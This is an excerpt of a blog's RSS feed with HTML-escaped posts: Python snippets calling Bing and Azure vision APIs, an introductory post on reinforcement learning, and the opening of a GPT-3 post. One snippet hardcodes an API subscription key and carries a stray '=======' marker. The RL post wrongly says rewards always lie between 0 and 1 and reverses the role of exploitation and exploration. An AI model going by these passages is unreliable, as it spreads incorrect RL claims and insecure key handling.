&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    params &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;q&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;image&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;count&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;offset&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;mkt&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;en-us&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;safeSearch&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Moderate&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# read the contents of the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(filename, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; f&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# build the request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    request &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;post(bing_url, headers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;headers, params&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;params, data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# check for errors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; request&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;status_code &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Error code: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;format(request&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;status_code))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(request&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        sys&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exit(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# process the response&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; json&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;loads(request&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;value&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; response:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        caption &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; response[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;value&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;The caption is: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;format(caption))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;No caption found.&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=======&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_caption&lt;/span&gt;(image_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    subscription_key &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;e9e9c8a8d1d9400e8d0b7f2d8f8e7c6e&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;assert&lt;/span&gt; subscription_key
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    vision_base_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;https://westcentralus.api.cognitive.microsoft.com/vision/v1.0/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analyze_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; vision_base_url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;analyze&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(image_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    headers    &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Ocp-Apim-Subscription-Key&amp;#39;&lt;/span&gt;: subscription_key,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    params     &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;visualFeatures&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Categories,Description,Color&amp;#39;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;post(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        analyze_url, headers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;headers, params&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;params, data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;image_data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;raise_for_status()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analysis &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; response&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;json()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(analysis)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image_caption &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; analysis[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;captions&amp;#34;&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;capitalize()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; image_caption&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Reinforcement Learning - An Introduction</title>
      <link>/post/2021/07/reinforcement-learning-an-introduction/</link>
      <pubDate>Fri, 16 Jul 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/07/reinforcement-learning-an-introduction/</guid>
      <description>&lt;p&gt;Reinforcement Learning is teaching by example – it is how most of us learn. Reinforcement Learning (#RL) is a different approach to ML – it is a set of techniques that allows AI algorithms to experiment and learn from experience. RL falls in between supervised and unsupervised learning – there isn’t any labeled data, but at the same time it isn’t unsupervised either. At its most simple form, RL is a computational approach for automating goal-oriented decision making and learning.&lt;/p&gt;
&lt;p&gt;Inherent RL is the ability to operate in a dynamic uncertain environment. RL can be more formally defined as the study, science, and problem of intelligence in the form of an agent that interacts in an environment. At the end of the day, almost all RL problems can be formalized as MDP (&lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Markov_decision_process&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Markov decision processes
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The problem is represented by an environment – such as a world where an agent is based in. The steps in RL are quite clear – the agent takes actions, that have some effect on the environment. The environment acts on those actions and gives back an observation to the agent – what it sees and senses.&lt;/p&gt;
&lt;p&gt;One special signal the environment gives back to the agent is called a reward signal. This signal is what an agent used to figure out how well it is doing. The RL problem is to take actions over time, to maximize the reward signals. And this notion of maximizing is what the agent is learning from the environment, without any explicit supervision. This construct helps an agent achieve a goal, even in an uncertain environment, factoring in delayed and indirect consequences of actions.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/rl_overview.png&#34; alt=&#34;Reinforcement Learning Overview&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;reinforcement-learning-overview&#34;&gt;Reinforcement Learning Overview&lt;/h3&gt;
&lt;p&gt;An agent can have many actions (i.e., choices); it uses a ‘reward’ signal to determine which of those actions is considered ‘good’ vs. ‘bad’. Of course, this determination is in the context of the outcome that we want to achieve.&lt;/p&gt;
&lt;p&gt;Some examples of rewards in different industries and use cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Maneuvering a UAV’s – positive for following a chosen trajectory; negative for deviating from that trajectory.&lt;/li&gt;
&lt;li&gt;Managing an investment portfolio – positive for each dollar earned; negative for each dollar lost.&lt;/li&gt;
&lt;li&gt;Controlling a power station – As one can imagine, this control would typically constitute a few things in the environment – a sequence of controls, motors, batteries, power sources, etc. In optimizing the throughput of a power station, we can think of positive rewards for producing power; negative for exceeding a safety threshold.&lt;/li&gt;
&lt;li&gt;Playing a game – positive for increasing score; negative for decreasing score.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;core-concepts-that-make-up-rl&#34;&gt;Core concepts that make up RL:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Agent&lt;/strong&gt; – The ‘thing’ that is using and acting on behalf of a user or another program. This can be a program executing a business process, a embedded process, the arm of a robot, actuators on a self-driving car controlling the wheels, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Policy&lt;/strong&gt; – A policy outlines how an agent would behave at certain times and can be thought of as the problem we are trying to solve. This is an agent’s behavior function and is a mapping of the business outcome that we are after.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reward&lt;/strong&gt; – A reward is a feedback special signal and outlines what is considered good (or bad) and is correlated with the agents’ current action, and the current state of the environment. All goals can be described as to maximize the cumulative reward. The reward is not a binary number but is a scaler between 0 and 1 – with zero being ‘bad’ and one being the best reward attainable for that action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Value function&lt;/strong&gt; – A value function represents how good is it to be in a particular state and related actions. Where a reward signal is showing the specification of good in an immediate sense (current step), the value function is representing the notion of good overall. At an abstract level, when thinking about the prediction of rewards, a rewards function is the primary, we can think of value functions as the secondary. In the end, we are more concerned with getting higher-value functions to make decisions, and not as much as higher rewards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Model&lt;/strong&gt; – A model is an agent’s view of the environment and mimics its behavior. This allows us to make inferences on how the environment will behave and is often used for planning. Think of the model as the strategy to use in solving the problem at hand.&lt;/p&gt;
&lt;h3 id=&#34;taxonomy-of-rl-algorithms&#34;&gt;Taxonomy of RL Algorithms&lt;/h3&gt;
&lt;p&gt;There are many types of RL algorithms (as we can see in the figure below), but these can broadly be classified in the following two categories.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Model free&lt;/strong&gt;: A model-free algorithm can be thought of as an explicit trial and error algorithm. In a model free approach, the agent doesn&amp;rsquo;t have or ignores the environment; instead, the agent uses experience and tries to optimize a Policy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model based&lt;/strong&gt;: On the other hand, a model-based algorithm reflects how an environment works, and factors that the associated reward functions and tries to maximize that. Technically, this is the optimization of the transition probability distribution of the MDP.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main difference between the two - in one the algorithm optimizes for the environment, and in the other for a policy gradient. There is no one right or wrong algorithm - a lot of it depends on the situation at hand and what one is trying to optimize for.&lt;/p&gt;
&lt;p&gt;As we can see below each of these categories can be further broken down - we won&amp;rsquo;t go into the details of those quite yet, maybe that is for another post. One of the most important components of most RL algorithms is a method to efficiently estimate values - at the end of the day, this is all about value estimation.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/RL-Taxonomy-Algos.png&#34; alt=&#34;Chart showing the taxonomy of RL algorithms.&#34;/&gt;
        &lt;figcaption&gt;Taxonomy of RL Algorithms&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;exploration-and-exploitation&#34;&gt;Exploration and Exploitation&lt;/h3&gt;
&lt;p&gt;There are two concepts of exploration, and exploitation which are at odds with each other and for a given situation, we should aim to get a balance of some sorts. In simple terms, RL is sequential decision making - one selects actions to maximize future rewards, and we need to plan long term - rewards might be delayed and not immediate, and we cannot be greedy. Sometimes, we need to sacrifice the immediate reward to gain more (or better) longer term rewards.&lt;/p&gt;
&lt;p&gt;This can be thought of trial-and-error learning loop - with the stream of experiences that constitute loops of actions, rewards, and observation. At the end of the day, this loop is what matters.&lt;/p&gt;
&lt;p&gt;Exploration finds more information about the environment, and in doing so gives up rewards. Exploitation on the other hand, exploits the information it already has to maximize rewards. If we don&amp;rsquo;t exploit, we might be stuck in a sub-optimal place, and how would be know if there is a better sense or rewards without trying?&lt;/p&gt;
&lt;p&gt;When we are in the trial-and-error loop we might be losing rewards, and the agent needs to discover a good policy to maximize the rewards - this is the tension at the opposite ends of a string pulling each other.&lt;/p&gt;
&lt;p&gt;It is important to balance both exploring and exploiting.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>GPT-3 vs other AI powered assistants</title>
      <link>/post/2021/06/gpt-3-vs-other-ai-powered-assistants/</link>
      <pubDate>Mon, 21 Jun 2021 00:00:00 +0000</pubDate>
      
      <guid>/post/2021/06/gpt-3-vs-other-ai-powered-assistants/</guid>
      <description>&lt;p&gt;I have been kicking the tires with Open AI&amp;rsquo;s &lt;a
	
		href = &#34;#GPT3&#34;
	

	

	&gt;
	
	&lt;span&gt;
		#GPT-3
	&lt;/span&gt;
&lt;/a&gt;. Based on the screenshot below, it might be easy to think &amp;ldquo;oh boy does the model think highly of itself&amp;rdquo;, but as with most things in life - the devil is in the details.😃 The screenshot below was a forked version of &lt;a
	
		href = &#34;https://beta.openai.com/docs/engines&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		davinci engine
	&lt;/span&gt;
&lt;/a&gt; and follows the Q&amp;amp;A structure.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/openAI-vs-others.png&#34; alt=&#34;OpenAI&amp;rsquo;s GPT3 answering questions when compared to other AI-powered assistants.&#34;/&gt;
        &lt;figcaption&gt;GPT-3 vs other AI assistants&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Using OpenAI&amp;rsquo;s API is quite simple; perhaps too simple! It is quite easy to unleash the beast as the code snippet shown below. If you are new to using GPT3, I would highly recommend you start with the &lt;a
	
		href = &#34;https://beta.openai.com/docs/use-case-guidelines/use-case-requirements-library&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		use case model guidelines
	&lt;/span&gt;
&lt;/a&gt; first.&lt;/p&gt;
&lt;p&gt;In the context of a toy example, to get to a simple Q&amp;amp;A chatbot as the screenshot earlier shown is quite simple. The API is powerful, and simple to use, and getting started is easy as the code below shows.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
